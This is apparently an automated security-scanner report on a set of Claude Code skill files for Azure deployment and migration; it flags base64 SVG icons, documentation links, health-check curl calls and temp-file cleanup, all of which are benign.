    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTQuOTA4IDEwLjAzMzVMMTYuMTQ2MyA4LjY0NTEzSDEyLjZWNy41NTQ5MUgxNi4xNDYzTDE0LjkwOCA2LjE2NjU5TDE1
  • Possible obfuscationline 1202
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTkiIHZpZXdCb3g9IjAgMCAxOCAxOSIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOS44OTA2NSA0LjQxOTc4TDEwLjY2MTcgMy43NjUwOUMxMC44MzgxIDMuNjE1MjUgMTEuMTA2MyAzLjY0NDQ3IDExLjI2
  • Possible obfuscationline 1207
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzUgMTMuNDQ2NEgxNS42MjVWMTMuNTcxNFYxNS42Njk2QzE1LjYyNSAxNS44Mzc4IDE1LjU5MzEgMTUuOTkzMyAx
  • Possible obfuscationline 1212
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC4wMjA1ODk4IDUuNTU3MjlDMC4xMTUyNzYgNS43MzQxMSAwLjMwMDAzMSA1Ljg3Nzc4IDAuNTM2NjYzIDUuOTU4Nkw5
  • Possible obfuscationline 1217
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCB3aWR0aD0iNC4yODU3MyIgaGVpZ2h0PSIxOCIgcng9IjEiIGZpbGw9InVybCgjcGFpbnQwX2xpbmVhcl82MTAyXzEzNDQzNCki
  • Possible obfuscationline 1222
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTEpIj48cGF0aCBkPSJNNC43MjE2MyAxMi4wODA0QzQuNzIxNzYgMTIuMTk4
  • Possible obfuscationline 1227
    "b64": "PHN2ZyBpZD0iZjk4NTY3NzMtN2RiZC00ZGI2LWFhMGUtZjE1MTg2NjRmZGU4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmNTdiOTZhLTY2YTktNGRiMy04MGY5
  • Possible obfuscationline 1232
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOTQzMGM1LTE2MTQtNGIyMi04MDg2LTdjY2MyNTAwOGY5ZSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 1237
    "b64": "PHN2ZyBpZD0iZTRhZThhMDItZWNkZi00NjE1LWFjYWItN2RlNTBhYTY2MDhjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmU1M2U5LTM3MzItNGU0Ni1iNDUz
  • Possible obfuscationline 1242
    "b64": "PHN2ZyBpZD0iYmYzYTI0MTktMTM1Yi00MWVlLWJjODgtMmYzYjFhY2M1NmZiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTk4MGQ0LWZhNWQtNGM4NC1iYzkw
  • Possible obfuscationline 1247
    "b64": "PHN2ZyBpZD0iYTdmMzY4YjktNTdjNC00YTdiLWE2MWQtNDExNjZjZTc0YTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwZjI1ZWY3LWQ2ODAtNGRhYy1hNzUx
  • Possible obfuscationline 1252
    "b64": "PHN2ZyBpZD0iZTIzNTQ2NjUtZGEzZS00N2RhLWJkYmYtYzBhMDYxYjVkMGI1IiBkYXRhLW5hbWU9IkxheWVyIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0Jv
  • Possible obfuscationline 1257
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2ZTYyMjQxLTU1YWItNDhjZi05YTM0LTllMDc1OWE4OWRmZCIgeDE9IjExLjEyMiIgeTE9IjEzLjkyIiB4Mj0i
  • Possible obfuscationline 1262
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUxYmMxMjJhLTUxOTMtNGI5MS04ZDEwLWM5NGM4YTNjYWYwNCIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9
  • Possible obfuscationline 1267
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGU1NDFhLWYyNjctNDVhNi05Y2NlLTAyMWIxNWE4NTM2YSIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9
  • Possible obfuscationline 1272
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExNWQyM2I3LWQ2OWUtNGQ3Mi04MDM5LTVjZWI3ZTU5MjA2ZSIgeDE9IjguOTk5IiB5MT0iNi44MDciIHgyPSI4
  • Possible obfuscationline 1277
    "b64": "PHN2ZyBpZD0iYTI2ZTdkMGQtYzE1OS00MzdjLTg0NWUtNTI5NzI2ZjNkZjllIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTU3NmU1LWZlZjgtNGJmNS1hNmRk
  • Possible obfuscationline 1282
    "b64": "PHN2ZyBpZD0iZTAwYWRmODItM2EyYi00ZDYzLTg4ZDYtMDRlMGZkNjEzNzE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzNDk0NDkyLTkzMjItNDg2NC1iMjE1
  • Possible obfuscationline 1287
    "b64": "PHN2ZyBpZD0iYTk4NTE3ZmQtMDY1NS00MGE0LThkZGEtYWU0N2ExNDgwMjgwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MDIyNmJhLTZkMGQtNDk1Ni04ZjE5
  • Possible obfuscationline 1292
    "b64": "PHN2ZyBpZD0iYjQ4YzUwODktYjkyNi00ZTVjLWFmZGQtYzhkMzdmZWU3MDVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmNzFjYThiLWUwYzMtNDJhMy1iMTc0
  • Possible obfuscationline 1297
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQzYmNkLTU1YWEtNDg0MC1hNWFjLTM5ZDU3YWZkNDIyOCIgeDE9IjkuMjYxIiB5MT0iLTAuMzY0IiB4Mj0i
  • Possible obfuscationline 1302
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9IjU0OGZkMzE4LWIzZWQtNGYyZC04YWRiLTQ4ZjZlOTY4NWJjZiIgY3g9IjguMzgiIGN5PSI0NDUuOTQiIHI9IjQu
  • Possible obfuscationline 1307
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMjhkMDc1LWU1MjEtNDM5Ni1hNmNlLWE1OGE4NGM2NjlkYiIgeDE9IjUuMzY4IiB5MT0iMi41OTkiIHgyPSI5
  • Possible obfuscationline 1312
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1317
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1322
    "b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3
  • Possible obfuscationline 1327
    "b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx
  • Possible obfuscationline 1332
    "b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu
  • Possible obfuscationline 1337
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5
  • Possible obfuscationline 1342
    "b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj
  • Possible obfuscationline 1347
    "b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2
  • Possible obfuscationline 1352
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0
  • Possible obfuscationline 1357
    "b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm
  • Possible obfuscationline 1362
    "b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx
  • Possible obfuscationline 1367
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4
  • Possible obfuscationline 1372
    "b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u
  • Possible obfuscationline 1377
    "b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4
  • Possible obfuscationline 1382
    "b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz
  • Possible obfuscationline 1387
    "b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh
  • Possible obfuscationline 1392
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i
  • Possible obfuscationline 1397
    "b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl
  • Possible obfuscationline 1402
    "b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi

harness/claude-code/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/claude-code/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/claude-code/skills/azure-cloud-migrate/SKILL.md

  • Network accessline 36
    6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r
  • Network accessline 38
    8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-

harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md

  • Network accessline 180
    - [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/)
  • Network accessline 181
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 182
    - [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices)
  • Network accessline 183
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)

harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md

  • Network accessline 165
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 166
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 167
    - [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started)
  • Network accessline 168
    - [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)

harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/code-migration.md

  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]

harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/global-rules.md

  • Network accessline 25
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie
  • Network accessline 26
    - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the 
  • Network accessline 27
    - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language

harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md

  • Network accessline 32
    | Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se
  • Network accessline 33
    |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi
  • Network accessline 34
    | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 158
    - [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 159
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
  • Network accessline 160
    - [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions)
  • Network accessline 161
    - [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 193
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health"
  • Network accessline 194
    curl -I "https://$FQDN/health"
  • Network accessline 201
    $app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
  • Network accessline 202
    Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Possible obfuscationline 111
    $decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue))
  • Network accessline 127
    > ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d
  • Network accessline 157
    # Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN"
  • Network accessline 158
    FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health
  • Network accessline 159
    echo "App URL: https://$FQDN"
  • Network accessline 160
    curl https://$FQDN/health
  • Network accessline 167
    $FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN"
  • Network accessline 168
    Write-Host "App URL: https://$FQDN"
  • Network accessline 169
    Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head
  • Network accessline 185
    | SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre
  • Network accessline 187
    | Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Dangerous shell operationline 113
    trap 'rm -f "$secret_file"' EXIT
  • Dangerous shell operationline 118
    rm -f "$secret_file"
  • Network accessline 197
    set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 198
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" -
  • Network accessline 199
    curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 204
    $ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
  • Network accessline 205
    $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100
  • Network accessline 206
    Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md

  • Network accessline 67
    - [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview)
  • Network accessline 68
    - [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services)
  • Network accessline 69
    - [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app)
  • Network accessline 70
    - [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)

harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md

  • Network accessline 33
